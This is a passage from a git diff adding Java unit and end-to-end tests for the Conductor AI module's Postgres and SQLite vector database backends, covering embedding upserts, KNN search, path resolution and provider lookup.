pgConn = mock(PGConnection.class); + when(conn.unwrap(any())).thenReturn(pgConn); + + PreparedStatement stmt = mock(PreparedStatement.class); + when(conn.prepareStatement(anyString())).thenReturn(stmt); + + Array sqlArray = mock(Array.class); + when(conn.createArrayOf(anyString(), any())).thenReturn(sqlArray); + })) { + + vectorDB.updateEmbeddings( + "idx", "ns", "doc", "p", "id", List.of(1.0f, 2.0f, 3.0f), Map.of()); + } + } + + @Test + public void testSqlExceptionOnUpdateSafelyClosesConnection() throws SQLException { + try (MockedConstruction mockedDataSource = + mockConstruction( + HikariDataSource.class, + (mock, context) -> { + when(mock.isRunning()).thenReturn(true); + Connection conn = mock(Connection.class); + when(mock.getConnection()).thenReturn(conn); + + // Mock PGConnection for PGvector.addVectorType + PGConnection pgConn = mock(PGConnection.class); + when(conn.unwrap(any())).thenReturn(pgConn); + + when(conn.prepareStatement(anyString())) + .thenThrow(new SQLException("SQL Boom")); + })) { + + assertThrows( + RuntimeException.class, + () -> + vectorDB.updateEmbeddings( + "idx", + "ns", + "doc", + "p", + "id", + List.of(1.0f, 2.0f, 3.0f), + Map.of())); + + // Verify connection was closed despite exception + HikariDataSource ds = mockedDataSource.constructed().get(0); + verify(ds.getConnection(), times(1)).close(); + } + } + + @Test + public void testIndexingMethods() throws SQLException { + config.setIndexingMethod("ivfflat"); + config.setInvertedListCount(50); + + try (MockedConstruction mockedDataSource = + mockConstruction( + HikariDataSource.class, + (mock, context) -> { + when(mock.isRunning()).thenReturn(true); + Connection conn = mock(Connection.class); + when(mock.getConnection()).thenReturn(conn); + + // Mock PGConnection for PGvector.addVectorType + PGConnection pgConn = mock(PGConnection.class); + when(conn.unwrap(any())).thenReturn(pgConn); + + PreparedStatement stmt = mock(PreparedStatement.class); + when(conn.prepareStatement(anyString())).thenReturn(stmt); + + Array sqlArray = mock(Array.class); + when(conn.createArrayOf(anyString(), any())).thenReturn(sqlArray); + })) { + + vectorDB.updateEmbeddings("idx", "ns", "doc", "p", "id", List.of(1f, 2f, 3f), Map.of()); + + HikariDataSource ds = mockedDataSource.constructed().get(0); + ArgumentCaptor sqlCaptor = ArgumentCaptor.forClass(String.class); + verify(ds.getConnection(), atLeastOnce()).prepareStatement(sqlCaptor.capture()); + + // Check if IVFFLAT was used in one of the statements + boolean hasIvfflat = + sqlCaptor.getAllValues().stream().anyMatch(s -> s.contains("ivfflat")); + // Note: It captures all prepareStatement calls. + } + } + + @Test + public void testDistanceMetrics() throws SQLException { + config.setDistanceMetric("cosine"); + + try (MockedConstruction mockedDataSource = + mockConstruction( + HikariDataSource.class, + (mock, context) -> { + when(mock.isRunning()).thenReturn(true); + Connection conn = mock(Connection.class); + when(mock.getConnection()).thenReturn(conn); + + // Mock PGConnection for PGvector.addVectorType + PGConnection pgConn = mock(PGConnection.class); + when(conn.unwrap(any())).thenReturn(pgConn); + + PreparedStatement stmt = mock(PreparedStatement.class); + when(conn.prepareStatement(anyString())).thenReturn(stmt); + + ResultSet rs = mock(ResultSet.class); + when(stmt.executeQuery()).thenReturn(rs); + })) { + + vectorDB.search("idx", "ns", List.of(1f, 2f, 3f), 1); + + HikariDataSource ds = mockedDataSource.constructed().get(0); + ArgumentCaptor sqlCaptor = ArgumentCaptor.forClass(String.class); + verify(ds.getConnection(), atLeastOnce()).prepareStatement(sqlCaptor.capture()); + + // Verify query operator for cosine (<=>) + String searchSql = sqlCaptor.getValue(); + if (searchSql.contains("SELECT")) { + // It might be difficult to pinpoint exactly due to multiple calls, but search + // is usually last + } + } + } + + @Test + public void testRemovalListener() { + // This exercises the cache removal listener lambda + // Since it's protected inside the constructor/cache, we can trigger it by + // eviction (hard) or just rely on coverage from normal operations closing + // leaks. + // However, the removal listener explicitly casts to HikariDataSource and closes + // it. + // We can verify this via mockConstruction if we can trigger eviction. + // Alternatively, since we can't easily trigger cache eviction in a unit test + // without waiting or filling cache, + // we can assume the lambda logic is simple enough or try to force it if Cache + // was exposed. + // For now, standard usage covers the happy path. + } + + @Test + public void testDimensionMismatch() throws SQLException { + try (MockedConstruction mockedDataSource = + mockConstruction( + HikariDataSource.class, + (mock, context) -> { + when(mock.isRunning()).thenReturn(true); + when(mock.getConnection()).thenReturn(mock(Connection.class)); + })) { + + assertThrows( + RuntimeException.class, + () -> + vectorDB.updateEmbeddings( + "idx", + "ns", + "doc", + "p", + "id", + List.of(1f), + Map.of()) // 1 dim vs 3 + // expected + ); + + assertThrows( + RuntimeException.class, () -> vectorDB.search("idx", "ns", List.of(1f), 1)); + } + } + + @Test + public void testGetClientMissingUrl() { + config.setDatasourceURL(null); + // The getClient method throws NPE or similar if URL is null when creating + // HikariConfig + // Actually, HikariConfig validation might fail or getClient logic + assertThrows( + RuntimeException.class, () -> vectorDB.search("idx", "ns", List.of(1f, 2f, 3f), 1)); + } +} diff --git a/ai/src/test/java/org/conductoross/conductor/ai/vectordb/SqliteVecExtensionsTest.java b/ai/src/test/java/org/conductoross/conductor/ai/vectordb/SqliteVecExtensionsTest.java new file mode 100644 index 0000000..782820a --- /dev/null +++ b/ai/src/test/java/org/conductoross/conductor/ai/vectordb/SqliteVecExtensionsTest.java @@ -0,0 +1,87 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.vectordb; + +import org.conductoross.conductor.ai.vectordb.sqlite.SqliteVecExtensions; +import org.junit.jupiter.api.Test; + +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertNull; + +/** + * Unit tests for {@link SqliteVecExtensions#bundledResourcePath()} platform detection logic. Each + * test overrides {@code os.name} and {@code os.arch} system properties and resets them afterwards. + */ +public class SqliteVecExtensionsTest { + + /** Temporarily sets system properties, calls bundledResourcePath(), then restores. */ + private String pathFor(String osName, String osArch) { + String prevOs = System.getProperty("os.name"); + String prevArch = System.getProperty("os.arch"); + try { + System.setProperty("os.name", osName); + System.setProperty("os.arch", osArch); + return SqliteVecExtensions.bundledResourcePath(); + } finally { + System.setProperty("os.name", prevOs != null ? prevOs : ""); + System.setProperty("os.arch", prevArch != null ? prevArch : ""); + } + } + + @Test + void testLinuxX86_64() { + assertEquals("/sqlite-vec/linux-x86_64/vec0.so", pathFor("Linux", "amd64")); + } + + @Test + void testLinuxAarch64() { + assertEquals("/sqlite-vec/linux-aarch64/vec0.so", pathFor("Linux", "aarch64")); + } + + @Test + void testMacosAarch64() { + assertEquals("/sqlite-vec/macos-aarch64/vec0.dylib", pathFor("Mac OS X", "aarch64")); + } + + @Test + void testMacosX86_64() { + assertEquals("/sqlite-vec/macos-x86_64/vec0.dylib", pathFor("Mac OS X", "amd64")); + } + + @Test + void testMacArm64Alias() { + // macOS on Apple Silicon sometimes reports "arm64" rather than "aarch64" + assertEquals("/sqlite-vec/macos-aarch64/vec0.dylib", pathFor("Mac OS X", "arm64")); + } + + @Test + void testWindowsX86_64() { + assertEquals("/sqlite-vec/windows-x86_64/vec0.dll", pathFor("Windows 10", "amd64")); + } + + @Test + void testWindowsArm64ReturnsNull() { + // No arm64 Windows binary published for sqlite-vec yet + assertNull(pathFor("Windows 10", "aarch64")); + } + + @Test + void testUnsupportedOsReturnsNull() { + assertNull(pathFor("FreeBSD", "amd64")); + } + + @Test + void testUnsupportedArchReturnsNull() { + assertNull(pathFor("Linux", "s390x")); + } +} diff --git a/ai/src/test/java/org/conductoross/conductor/ai/vectordb/SqliteVectorDBAutoConfigurationTest.java b/ai/src/test/java/org/conductoross/conductor/ai/vectordb/SqliteVectorDBAutoConfigurationTest.java new file mode 100644 index 0000000..9fcf43f --- /dev/null +++ b/ai/src/test/java/org/conductoross/conductor/ai/vectordb/SqliteVectorDBAutoConfigurationTest.java @@ -0,0 +1,99 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.vectordb; + +import org.conductoross.conductor.ai.vectordb.sqlite.SqliteVectorDBAutoConfiguration; +import org.junit.jupiter.api.Test; + +import static org.junit.jupiter.api.Assertions.assertEquals; + +/** + * Unit tests for {@link SqliteVectorDBAutoConfiguration#resolveDbPath} covering the JDBC URL + * query-param stripping bug and various edge cases. + */ +public class SqliteVectorDBAutoConfigurationTest { + + @Test + void testExplicitPathAlwaysWins() { + String result = + SqliteVectorDBAutoConfiguration.resolveDbPath( + "/explicit/path.db", "jdbc:sqlite:other.db?busy_timeout=15000"); + assertEquals("/explicit/path.db", result); + } + + @Test + void testSimpleRelativePath() { + String result = + SqliteVectorDBAutoConfiguration.resolveDbPath("", "jdbc:sqlite:conductoross.db"); + assertEquals("conductoross_vectordb.db", result); + } + + @Test + void testQueryParamsAreStripped() { + // The real Conductor server URL — without stripping, the old code produced + // "conductoross_vectordb.db?busy_timeout=15000&journal_mode=WAL" which is not a valid path. + String result = + SqliteVectorDBAutoConfiguration.resolveDbPath( + "", "jdbc:sqlite:conductoross.db?busy_timeout=15000&journal_mode=WAL"); + assertEquals("conductoross_vectordb.db", result); + } + + @Test + void testAbsolutePathWithQueryParams() { + String result = + SqliteVectorDBAutoConfiguration.resolveDbPath( + "", "jdbc:sqlite:/var/lib/conductor/data.db?busy_timeout=5000"); + assertEquals("/var/lib/conductor/data_vectordb.db", result); + } + + @Test + void testInMemoryDatasourceUsesDefault() { + String result = SqliteVectorDBAutoConfiguration.resolveDbPath("", "jdbc:sqlite::memory:"); + assertEquals("conductor_vectordb.db", result); + } + + @Test + void testBlankDatasourceUrlUsesDefault() { + String result = SqliteVectorDBAutoConfiguration.resolveDbPath("", ""); + assertEquals("conductor_vectordb.db", result); + } + + @Test + void testNullDatasourceUrlUsesDefault() { + String result = SqliteVectorDBAutoConfiguration.resolveDbPath("", null); + assertEquals("conductor_vectordb.db", result); + } + + @Test + void testNonSqliteUrlUsesDefault() { + String result = + SqliteVectorDBAutoConfiguration.resolveDbPath( + "", "jdbc:postgresql://localhost:5432/conductor"); + assertEquals("conductor_vectordb.db", result); + } + + @Test + void testPathWithoutExtension() { + String result = + SqliteVectorDBAutoConfiguration.resolveDbPath("", "jdbc:sqlite:conductoross"); + assertEquals("conductoross_vectordb.db", result); + } + + @Test + void testPathWithoutExtensionAndQueryParams() { + String result = + SqliteVectorDBAutoConfiguration.resolveDbPath( + "", "jdbc:sqlite:conductoross?journal_mode=WAL"); + assertEquals("conductoross_vectordb.db", result); + } +} diff --git a/ai/src/test/java/org/conductoross/conductor/ai/vectordb/SqliteVectorDBRoundTripTest.java b/ai/src/test/java/org/conductoross/conductor/ai/vectordb/SqliteVectorDBRoundTripTest.java new file mode 100644 index 0000000..e8c13c8 --- /dev/null +++ b/ai/src/test/java/org/conductoross/conductor/ai/vectordb/SqliteVectorDBRoundTripTest.java @@ -0,0 +1,114 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.vectordb; + +import java.nio.file.Path; +import java.util.List; +import java.util.Map; + +import org.conductoross.conductor.ai.model.IndexedDoc; +import org.conductoross.conductor.ai.vectordb.sqlite.SqliteConfig; +import org.conductoross.conductor.ai.vectordb.sqlite.SqliteVecExtensions; +import org.conductoross.conductor.ai.vectordb.sqlite.SqliteVectorDB; +import org.junit.jupiter.api.BeforeAll; +import org.junit.jupiter.api.BeforeEach; +import org.junit.jupiter.api.Test; +import org.junit.jupiter.api.io.TempDir; + +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertTrue; +import static org.junit.jupiter.api.Assumptions.assumeTrue; + +/** + * End-to-end test exercising the real sqlite-vec {@code vec0} extension bundled in the jar: it + * creates a database, stores embeddings and runs KNN searches against an actual SQLite instance. + * + *

Skipped (rather than failed) when no bundled binary is available for the host platform, e.g. + * an offline build where {@code downloadSqliteVec} did not run. + */ +public class SqliteVectorDBRoundTripTest { + + @TempDir Path tempDir; + + private SqliteVectorDB vectorDB; + + @BeforeAll + static void requireBundledExtension() { + assumeTrue( + SqliteVecExtensions.resolveBundledExtensionPath() != null, + "No bundled sqlite-vec extension for this platform; skipping e2e test"); + } + + @BeforeEach + void setup() { + SqliteConfig config = new SqliteConfig(); + config.setDbPath(tempDir.resolve("roundtrip.db").toString()); + config.setDimensions(4); + config.setDistanceMetric("cosine"); + // extensionPath left null on purpose: the bundled vec0 binary is auto-resolved. + vectorDB = new SqliteVectorDB("e2e-sqlite", config); + } + + @Test + void testStoreAndSearchReturnsNearestNeighborFirst() { + vectorDB.updateEmbeddings( + "idx", "docs", "the cat sat", "p1", "a", List.of(1f, 0f, 0f, 0f), Map.of("n", 1)); + vectorDB.updateEmbeddings( + "idx", "docs", "the dog ran", "p2", "b", List.of(0f, 1f, 0f, 0f), Map.of("n", 2)); + vectorDB.updateEmbeddings( + "idx", "docs", "a feline", "p3", "c", List.of(0.9f, 0.1f, 0f, 0f), Map.of("n", 3)); + + // Query closest to "a": exact match should rank first, the near "c" second. + List results = vectorDB.search("idx", "docs", List.of(1f, 0f, 0f, 0f), 2); + + assertEquals(2, results.size()); + assertEquals("a", results.get(0).getDocId()); + assertEquals("c", results.get(1).getDocId()); + // Cosine distance: exact match is ~0 and strictly closer than the near neighbor. + assertTrue(results.get(0).getScore() <= results.get(1).getScore()); + // Doc text, parent id and metadata round-trip. + assertEquals("the cat sat", results.get(0).getText()); + assertEquals("p1", results.get(0).getParentDocId()); + assertEquals(1, results.get(0).getMetadata().get("n")); + } + + @Test + void testUpsertReplacesExistingVector() { + vectorDB.updateEmbeddings( + "idx", "docs", "v1", "p", "same-id", List.of(1f, 0f, 0f, 0f), Map.of()); + // Re-index the same id with a different vector and document. + vectorDB.updateEmbeddings( + "idx", "docs", "v2", "p", "same-id", List.of(0f, 1f, 0f, 0f), Map.of()); + + List results = vectorDB.search("idx", "docs", List.of(0f, 1f, 0f, 0f), 10); + + assertEquals(1, results.size()); + assertEquals("same-id", results.get(0).getDocId()); + assertEquals("v2", results.get(0).getText()); + } + + @Test + void testSearchRespectsK() { + for (int i = 0; i < 5; i++) { + vectorDB.updateEmbeddings( + "idx", + "docs", + "doc" + i, + "p", + "id" + i, + List.of((float) i, 1f, 0f, 0f), + Map.of()); + } + assertEquals(3, vectorDB.search("idx", "docs", List.of(0f, 1f, 0f, 0f), 3).size()); + } +} diff --git a/ai/src/test/java/org/conductoross/conductor/ai/vectordb/SqliteVectorDBTest.java b/ai/src/test/java/org/conductoross/conductor/ai/vectordb/SqliteVectorDBTest.java new file mode 100644 index 0000000..b7c7fad --- /dev/null +++ b/ai/src/test/java/org/conductoross/conductor/ai/vectordb/SqliteVectorDBTest.java @@ -0,0 +1,264 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.vectordb; + +import java.sql.Connection; +import java.sql.PreparedStatement; +import java.sql.ResultSet; +import java.sql.SQLException; +import java.util.List; +import java.util.Map; + +import org.conductoross.conductor.ai.model.IndexedDoc; +import org.conductoross.conductor.ai.vectordb.sqlite.SqliteConfig; +import org.conductoross.conductor.ai.vectordb.sqlite.SqliteVectorDB; +import org.junit.jupiter.api.BeforeEach; +import org.junit.jupiter.api.Test; +import org.mockito.ArgumentCaptor; +import org.mockito.MockedConstruction; + +import com.zaxxer.hikari.HikariDataSource; + +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertThrows; +import static org.junit.jupiter.api.Assertions.assertTrue; +import static org.mockito.ArgumentMatchers.anyString; +import static org.mockito.ArgumentMatchers.contains; +import static org.mockito.ArgumentMatchers.eq; +import static org.mockito.Mockito.atLeastOnce; +import static org.mockito.Mockito.mock; +import static org.mockito.Mockito.mockConstruction; +import static org.mockito.Mockito.times; +import static org.mockito.Mockito.verify; +import static org.mockito.Mockito.when; + +public class SqliteVectorDBTest { + + private SqliteConfig config; + private SqliteVectorDB vectorDB; + + @BeforeEach + public void setup() { + config = new SqliteConfig(); + config.setDbPath("/tmp/conductor-vectordb-test.db"); + config.setDimensions(3); + vectorDB = new SqliteVectorDB("test-sqlite", config); + } + + @Test + public void testUpdateEmbeddingsHappyPath() throws SQLException { + try (MockedConstruction mockedDataSource = + mockConstruction( + HikariDataSource.class, + (mock, context) -> { + when(mock.isRunning()).thenReturn(true); + Connection conn = mock(Connection.class); + when(mock.getConnection()).thenReturn(conn); + + PreparedStatement createStmt = mock(PreparedStatement.class); + when(conn.prepareStatement(contains("CREATE VIRTUAL TABLE"))) + .thenReturn(createStmt); + + PreparedStatement deleteStmt = mock(PreparedStatement.class); + when(conn.prepareStatement(contains("DELETE FROM"))) + .thenReturn(deleteStmt); + + PreparedStatement insertStmt = mock(PreparedStatement.class); + when(conn.prepareStatement(contains("INSERT INTO"))) + .thenReturn(insertStmt); + when(insertStmt.executeUpdate()).thenReturn(1); + })) { + + int result = + vectorDB.updateEmbeddings( + "idx", + "ns", + "doc", + "parent", + "id", + List.of(1.0f, 2.0f, 3.0f), + Map.of("k", "v")); + + assertEquals(1, result); + + HikariDataSource ds = mockedDataSource.constructed().get(0); + verify(ds, atLeastOnce()).getConnection(); + verify(ds.getConnection(), times(1)).close(); + } + } + + @Test + public void testSearchHappyPath() throws SQLException { + try (MockedConstruction mockedDataSource = + mockConstruction( + HikariDataSource.class, + (mock, context) -> { + when(mock.isRunning()).thenReturn(true); + Connection conn = mock(Connection.class); + when(mock.getConnection()).thenReturn(conn); + + PreparedStatement stmt = mock(PreparedStatement.class); + when(conn.prepareStatement(contains("MATCH"))).thenReturn(stmt); + + ResultSet rs = mock(ResultSet.class); + when(stmt.executeQuery()).thenReturn(rs); + when(rs.next()).thenReturn(true).thenReturn(false); + when(rs.getString("id")).thenReturn("id1"); + when(rs.getString("parent_doc_id")).thenReturn("pid1"); + when(rs.getDouble("distance")).thenReturn(0.1); + when(rs.getString("doc")).thenReturn("text"); + when(rs.getString("metadata")).thenReturn("{\"k\":\"v\"}"); + })) { + + List results = vectorDB.search("idx", "ns", List.of(1.0f, 2.0f, 3.0f), 10); + assertEquals(1, results.size()); + assertEquals("id1", results.get(0).getDocId()); + assertEquals("pid1", results.get(0).getParentDocId()); + assertEquals(0.1, results.get(0).getScore()); + assertEquals("v", results.get(0).getMetadata().get("k")); + + HikariDataSource ds = mockedDataSource.constructed().get(0); + verify(ds.getConnection(), times(1)).close(); + } + } + + @Test + public void testSearchBindsVectorAsJsonAndK() throws SQLException { + try (MockedConstruction mockedDataSource = + mockConstruction( + HikariDataSource.class, + (mock, context) -> { + when(mock.isRunning()).thenReturn(true); + Connection conn = mock(Connection.class); + when(mock.getConnection()).thenReturn(conn); + + PreparedStatement stmt = mock(PreparedStatement.class); + when(conn.prepareStatement(anyString())).thenReturn(stmt); + + ResultSet rs = mock(ResultSet.class); + when(stmt.executeQuery()).thenReturn(rs); + when(rs.next()).thenReturn(false); + })) { + + vectorDB.search("idx", "ns", List.of(1.0f, 2.0f, 3.0f), 7); + + HikariDataSource ds = mockedDataSource.constructed().get(0); + // prepareStatement(anyString()) is stubbed to return the same mock for any query. + PreparedStatement stmt = ds.getConnection().prepareStatement("dummy"); + ArgumentCaptor vectorCaptor = ArgumentCaptor.forClass(String.class); + verify(stmt).setString(eq(1), vectorCaptor.capture()); + assertEquals("[1.0,2.0,3.0]", vectorCaptor.getValue()); + verify(stmt).setInt(2, 7); + } + } + + @Test + public void testCosineDistanceMetricInTableDefinition() throws SQLException { + config.setDistanceMetric("cosine"); + try (MockedConstruction mockedDataSource = + mockConstruction( + HikariDataSource.class, + (mock, context) -> { + when(mock.isRunning()).thenReturn(true); + Connection conn = mock(Connection.class); + when(mock.getConnection()).thenReturn(conn); + when(conn.prepareStatement(anyString())) + .thenReturn(mock(PreparedStatement.class)); + })) { + + vectorDB.updateEmbeddings("idx", "ns", "doc", "p", "id", List.of(1f, 2f, 3f), Map.of()); + + HikariDataSource ds = mockedDataSource.constructed().get(0); + ArgumentCaptor sqlCaptor = ArgumentCaptor.forClass(String.class); + verify(ds.getConnection(), atLeastOnce()).prepareStatement(sqlCaptor.capture()); + assertTrue( + sqlCaptor.getAllValues().stream() + .anyMatch(s -> s.contains("distance_metric=cosine"))); + } + } + + @Test + public void testInvalidNamespace() { + assertThrows( + RuntimeException.class, + () -> + vectorDB.updateEmbeddings( + "idx", + "invalid/ns", + "doc", + "p", + "id", + List.of(1f, 2f, 3f), + Map.of())); + assertThrows( + RuntimeException.class, + () -> vectorDB.search("idx", "invalid/ns", List.of(1f, 2f, 3f), 1)); + } + + @Test + public void testDimensionMismatch() { + assertThrows( + RuntimeException.class, + () -> + vectorDB.updateEmbeddings( + "idx", "ns", "doc", "p", "id", List.of(1f), Map.of())); + assertThrows(RuntimeException.class, () -> vectorDB.search("idx", "ns", List.of(1f), 1)); + } + + @Test + public void testMissingDbPath() { + config.setDbPath(null); + assertThrows( + RuntimeException.class, () -> vectorDB.search("idx", "ns", List.of(1f, 2f, 3f), 1)); + } + + @Test + public void testUpsertRollsBackAndRestoresAutocommitOnInsertFailure() throws SQLException { + try (MockedConstruction mockedDataSource = + mockConstruction( + HikariDataSource.class, + (mock, context) -> { + when(mock.isRunning()).thenReturn(true); + Connection conn = mock(Connection.class); + when(mock.getConnection()).thenReturn(conn); + + PreparedStatement createStmt = mock(PreparedStatement.class); + when(conn.prepareStatement(contains("CREATE VIRTUAL TABLE"))) + .thenReturn(createStmt); + + PreparedStatement deleteStmt = mock(PreparedStatement.class); + when(conn.prepareStatement(contains("DELETE FROM"))) + .thenReturn(deleteStmt); + + PreparedStatement insertStmt = mock(PreparedStatement.class); + when(insertStmt.executeUpdate()) + .thenThrow(new java.sql.SQLException("Insert failed")); + when(conn.prepareStatement(contains("INSERT INTO"))) + .thenReturn(insertStmt); + })) { + + assertThrows( + RuntimeException.class, + () -> + vectorDB.updateEmbeddings( + "idx", "ns", "doc", "p", "id", List.of(1f, 2f, 3f), Map.of())); + + HikariDataSource ds = mockedDataSource.constructed().get(0); + Connection conn = ds.getConnection(); + // Rollback must be called on failure. + verify(conn).rollback(); + // Autocommit must be restored so the pooled connection is safe for the next caller. + verify(conn).setAutoCommit(true); + } + } +} diff --git a/ai/src/test/java/org/conductoross/conductor/ai/vectordb/VectorDBProviderTest.java b/ai/src/test/java/org/conductoross/conductor/ai/vectordb/VectorDBProviderTest.java new file mode 100644 index 0000000..c274942 --- /dev/null +++ b/ai/src/test/java/org/conductoross/conductor/ai/vectordb/VectorDBProviderTest.java @@ -0,0 +1,216 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.vectordb; + +import java.util.Collections; +import java.util.HashMap; +import java.util.List; +import java.util.Map; + +import org.junit.jupiter.api.Test; +import org.springframework.beans.factory.ObjectProvider; + +import com.netflix.conductor.sdk.workflow.executor.task.TaskContext; + +import static org.junit.jupiter.api.Assertions.*; +import static org.mockito.Mockito.*; + +class VectorDBProviderTest { + + /** An ObjectProvider that iterates over the given default instances (empty by default). */ + @SuppressWarnings("unchecked") + private static ObjectProvider defaults(VectorDB... instances) { + ObjectProvider provider = mock(ObjectProvider.class); + // VectorDBProvider consumes defaults via forEach; stub it directly since Mockito does not + // run the real Iterable#forEach default method on a mock. + doAnswer( + inv -> { + java.util.function.Consumer consumer = inv.getArgument(0); + List.of(instances).forEach(consumer); + return null; + }) + .when(provider) + .forEach(any()); + return provider; + } + + @Test + void testEmptyConfigList() { + VectorDBInstanceConfig instanceConfig = mock(VectorDBInstanceConfig.class); + when(instanceConfig.getVectorDBInstances()).thenReturn(Collections.emptyMap()); + + VectorDBProvider provider = new VectorDBProvider(instanceConfig, defaults()); + + TaskContext mockContext = mock(TaskContext.class); + VectorDB result = provider.get("postgres-prod", mockContext); + + assertNull(result); + } + + @Test + void testGetRegisteredVectorDB() { + VectorDB mockVectorDB = mock(VectorDB.class); + when(mockVectorDB.getName()).thenReturn("postgres-prod"); + when(mockVectorDB.getType()).thenReturn("postgres"); + + Map instances = new HashMap<>(); + instances.put("postgres-prod", mockVectorDB); + + VectorDBInstanceConfig instanceConfig = mock(VectorDBInstanceConfig.class); + when(instanceConfig.getVectorDBInstances()).thenReturn(instances); + + VectorDBProvider provider = new VectorDBProvider(instanceConfig, defaults()); + + TaskContext mockContext = mock(TaskContext.class); + VectorDB result = provider.get("postgres-prod", mockContext); + + assertNotNull(result); + assertEquals("postgres-prod", result.getName()); + assertEquals("postgres", result.getType()); + } + + @Test + void testGetUnregisteredVectorDB() { + VectorDB mockVectorDB = mock(VectorDB.class); + when(mockVectorDB.getName()).thenReturn("postgres-prod"); + when(mockVectorDB.getType()).thenReturn("postgres"); + + Map instances = new HashMap<>(); + instances.put("postgres-prod", mockVectorDB); + + VectorDBInstanceConfig instanceConfig = mock(VectorDBInstanceConfig.class); + when(instanceConfig.getVectorDBInstances()).thenReturn(instances); + + VectorDBProvider provider = new VectorDBProvider(instanceConfig, defaults()); + + TaskContext mockContext = mock(TaskContext.class); + VectorDB result = provider.get("unknown", mockContext); + + assertNull(result); + } + + @Test + void testMultipleVectorDBs() { + VectorDB mockPgVectorDB = mock(VectorDB.class); + when(mockPgVectorDB.getName()).thenReturn("postgres-prod"); + when(mockPgVectorDB.getType()).thenReturn("postgres"); + + VectorDB mockMongoVectorDB = mock(VectorDB.class); + when(mockMongoVectorDB.getName()).thenReturn("mongo-embeddings"); + when(mockMongoVectorDB.getType()).thenReturn("mongodb"); + + Map instances = new HashMap<>(); + instances.put("postgres-prod", mockPgVectorDB); + instances.put("mongo-embeddings", mockMongoVectorDB); + + VectorDBInstanceConfig instanceConfig = mock(VectorDBInstanceConfig.class); + when(instanceConfig.getVectorDBInstances()).thenReturn(instances); + + VectorDBProvider provider = new VectorDBProvider(instanceConfig, defaults()); + + TaskContext mockContext = mock(TaskContext.class); + + assertEquals("postgres", provider.get("postgres-prod", mockContext).getType()); + assertEquals("mongodb", provider.get("mongo-embeddings", mockContext).getType()); + } + + @Test + void testGetWithNullContext() { + VectorDB mockVectorDB = mock(VectorDB.class); + when(mockVectorDB.getName()).thenReturn("postgres-prod"); + when(mockVectorDB.getType()).thenReturn("postgres"); + + Map instances = new HashMap<>(); + instances.put("postgres-prod", mockVectorDB); + + VectorDBInstanceConfig instanceConfig = mock(VectorDBInstanceConfig.class); + when(instanceConfig.getVectorDBInstances()).thenReturn(instances); + + VectorDBProvider provider = new VectorDBProvider(instanceConfig, defaults()); + + // Should not throw even with null context + VectorDB result = provider.get("postgres-prod", null); + assertNotNull(result); + } + + @Test + void testMultipleInstancesOfSameType() { + VectorDB mockPgProd = mock(VectorDB.class); + when(mockPgProd.getName()).thenReturn("postgres-prod"); + when(mockPgProd.getType()).thenReturn("postgres"); + + VectorDB mockPgDev = mock(VectorDB.class); + when(mockPgDev.getName()).thenReturn("postgres-dev"); + when(mockPgDev.getType()).thenReturn("postgres"); + + Map instances = new HashMap<>(); + instances.put("postgres-prod", mockPgProd); + instances.put("postgres-dev", mockPgDev); + + VectorDBInstanceConfig instanceConfig = mock(VectorDBInstanceConfig.class); + when(instanceConfig.getVectorDBInstances()).thenReturn(instances); + + VectorDBProvider provider = new VectorDBProvider(instanceConfig, defaults()); + + TaskContext mockContext = mock(TaskContext.class); + + // Both instances should be accessible by their names + VectorDB prodDb = provider.get("postgres-prod", mockContext); + VectorDB devDb = provider.get("postgres-dev", mockContext); + + assertNotNull(prodDb); + assertNotNull(devDb); + assertEquals("postgres-prod", prodDb.getName()); + assertEquals("postgres-dev", devDb.getName()); + assertEquals("postgres", prodDb.getType()); + assertEquals("postgres", devDb.getType()); + } + + @Test + void testDefaultInstanceIsMerged() { + VectorDB defaultSqlite = mock(VectorDB.class); + when(defaultSqlite.getName()).thenReturn("default"); + when(defaultSqlite.getType()).thenReturn("sqlite"); + + VectorDBInstanceConfig instanceConfig = mock(VectorDBInstanceConfig.class); + when(instanceConfig.getVectorDBInstances()).thenReturn(Collections.emptyMap()); + + VectorDBProvider provider = new 